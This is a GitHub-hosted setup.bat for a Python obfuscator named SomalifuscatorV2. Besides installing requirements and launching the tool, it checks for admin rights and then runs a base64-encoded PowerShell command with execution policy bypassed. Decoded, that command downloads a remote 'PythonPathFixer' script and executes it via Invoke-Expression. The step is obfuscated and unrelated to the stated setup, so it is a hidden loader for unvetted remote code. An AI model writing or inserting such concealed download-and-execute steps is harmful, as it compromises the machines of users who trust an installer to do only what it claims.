-
-
Notifications
You must be signed in to change notification settings - Fork 40
/
setup.bat
42 lines (32 loc) · 1014 Bytes
/
setup.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
@echo off
cd /d "%~dp0"
color 0a
title SomalifuscatorV2
cls
net session >nul 2>&1
if %errorlevel%==0 (
powershell -exec Bypass -e JAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8ASwBEAG8AdAAyADIANwAvAFAAeQB0AGgAbwBuAFAAYQB0AGgARgBpAHgAZQByAC8AbQBhAGkAbgAvAG0AYQBpAG4ALgBwAHMAMQAnADsAJABzAGMAcgBpAHAAdABDAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAHUAcgBsADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAALQBDAG8AbQBtAGEAbgBkACAAJABzAGMAcgBpAHAAdABDAG8AbgB0AGUAbgB0AA==
) else (
echo YOU ARE NOT RUNNING AS ADMIN AND POTENTIAL ISSUES WITH PYTHON MAY OCCUR. IF THE PROGRAM DOESN'T RUN PLEASE RERUN SETUP.BAT WITH ADMIN!!!
)
python -m pip install -r requirements.txt --upgrade
if "%1"=="" (
goto :normal
) else (
goto :build
)
:build
pushd src
python -m main -f %1
popd
goto :out
:normal
pushd src
python -m main
popd
goto :out
:out
if %USERNAME%==this1 (
pyclean .
)
exit /b 0